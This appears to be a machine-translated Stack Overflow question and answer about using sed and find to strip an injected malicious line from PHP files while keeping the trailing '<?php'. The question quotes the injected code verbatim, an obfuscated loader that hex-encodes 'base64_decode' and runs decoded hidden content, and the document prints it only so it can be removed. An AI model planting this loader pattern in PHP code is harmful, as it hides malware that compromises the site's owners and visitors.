linux - Bash 在用 sed 删除行后插入字符串

标签 linux string bash sed

我想删除这些行,因为它是一个注入(inject)代码:

if (!function_exists('openNewOFormatCall')){function openNewOFormatCall($a, $b){$c=$GLOBALS[' '];$d=pack('H*','6261736536345f64'.'65636f6465'); return $d(substr($c, $a, $b));};$useGitFallYCutCodeU=openNewOFormatCall(3851,20);$useGitFallYCutCodeU("", openNewOFormatCall(3873, 3).openNewOFormatCall(565,3283).openNewOFormatCall(3879, 3));};?><?php

我当然可以用语法删除那行:

find -iname "*.php" -exec sed -i '/openNewOFormatCall/d' {} \;

问题是,它还会删除末尾的附加字符 <?php这是 php 文件正常工作所必需的。所以我想删除这一行并添加新的 <?php之后。

请指教。

最佳答案

只需使用:

sed 's/.*openNewOFormatCall.*/<?php/' file

如果 ?> 后面的部分是可变的:

sed -r 's/..*openNewOFormatCall.*\?>(.*)/\1/' file

问号需要屏蔽。 (.*) 捕获了 ?> 之后的内容。\1 是对捕获内容的反向引用。

如果它有效,并且在备份有值(value)的数据之后,您将使用 -i 运行它以进行适当的修改,就像您的示例中一样:

find -iname "*.php" -exec sed -i -r 's/..*openNewOFormatCall.*\?>(.*)/\1/' {} \;

关于linux - Bash 在用 sed 删除行后插入字符串,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/49706359/

相关文章:

linux - 在Qt中通过套接字发送结构

c++ - 无法使用迭代器遍历字符串 : however my version with indices does work

linux - 从文件中读取用户名和密码

bash - 如何在 Visual Studio 2019 中使用 git bash 终端配置文件?

ruby-on-rails - 您将哪些部署目录用于 Rails 应用程序(部署到 debian 机器)?

linux - 如何在不重新输入 SSH 密码的情况下执行 `git pull`?

string - 如何使用 deleteCharactersInRange?

c++ - 高效的字符串截断算法,顺序删除相等的前缀和后缀

linux - 关于ubuntu 11.04生成的.profile的问题

c++ - 'inet_ntoa' 未声明错误